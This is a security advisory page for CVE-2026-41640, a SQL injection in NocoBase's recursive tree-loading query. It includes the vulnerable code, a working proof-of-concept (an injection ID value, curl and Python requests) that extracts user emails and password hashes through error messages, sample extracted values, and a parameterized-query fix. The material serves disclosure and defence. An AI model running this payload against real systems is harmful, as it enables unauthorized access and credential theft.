NocoBase CVE-2026-41640

HIGH
SQL Injection (CWE-89)
2026-04-22 https://github.com/nocobase/nocobase GHSA-4948-f92q-f432
7.5
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

1
Analysis Generated
Apr 23, 2026 - 06:55 vuln.today

DescriptionNVD

Summary

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

javascript
const queryParentSQL = (options: {
  db: Database;
  nodeIds: any[];
  collection: Collection;
  foreignKey: string;
  targetKey: string;
}) => {
  const { collection, db, nodeIds } = options;
  const tableName = collection.quotedTableName();
  const { foreignKey, targetKey } = options;
  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
  const targetKeyField = collection.model.rawAttributes[targetKey].field;

  const queryInterface = db.sequelize.getQueryInterface();
  const q = queryInterface.quoteIdentifier.bind(queryInterface);
  return `WITH RECURSIVE cte AS (
      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
      FROM ${tableName}
      WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}')  // <-- INJECTION
      UNION ALL
      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
      FROM ${tableName} AS t
      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
      )
      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

javascript
// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
    const targetKey = association.targetKey;
    const sql = queryParentSQL({
        db: this.db, collection, foreignKey, targetKey,
        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
    });
    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value:
  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches):
  WITH RECURSIVE cte AS (
    SELECT "id", "parentId" FROM "table"
    WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
    UNION ALL
    SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
  ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.
bash
TOKEN="<jwt_token>"
# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'
# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"id":"root","title":"Root"}'
# 3. Create injection parent - error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
    params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"[email protected]\""}]}
#                                                                          ^^^^^^^^^^^^^^^^^^^^^^^
#                                                             Exfiltrated data in error message

Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):

| Subquery | Extracted Value | |----------|----------------| | SELECT version() | PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu... | | SELECT current_database() | nocobase | | SELECT email FROM users ORDER BY id LIMIT 1 | [email protected] | | SELECT password FROM users ORDER BY id LIMIT 1 | 006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38 | | SELECT string_agg(email\|\|':'||substring(password,1,16), ' \| ') FROM users | [email protected]:006af6756e96 \| [email protected]:4653e80e3cbf |

Impact

  • Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).
  • Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.
  • Availability: Resource-exhaustive queries or destructive DDL.
  • Scope change: On PostgreSQL with superuser, COPY ... TO PROGRAM achieves OS command execution.
  • Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in plugin-field-sort/src/server/sort-field.ts:124.

Fix Suggestion

  1. Use parameterized queries. Replace the string concatenation with bind parameters:
javascript
   const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');
   const sql = `WITH RECURSIVE cte AS (
       SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
       FROM ${tableName}
       WHERE ${q(targetKeyField)} IN (${placeholders})
       UNION ALL
       ...
   ) SELECT ... FROM cte`;
   return { sql, bind: nodeIds };

Then call db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }).

  1. Apply the same fix to plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern with filteredScopeValue.
  2. Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (', ", ;, --) in string-type primary key fields.

AnalysisAI

SQL injection in NocoBase's @nocobase/database package allows authenticated users with record-creation privileges to execute arbitrary SQL queries and extract database credentials. The vulnerability exists in the queryParentSQL() function, which constructs recursive Common Table Expression (CTE) queries using string concatenation instead of parameterized queries when processing tree collections with string primary keys. …

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

Within 24 hours: Identify all NocoBase instances in production and document current @nocobase/database package versions. Within 7 days: Apply vendor patch from GitHub PR #9133 to all affected instances; if version information is unavailable, upgrade to the latest patched release from the official NocoBase repository. …

Sign in for detailed remediation steps.

Share

CVE-2026-41640 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy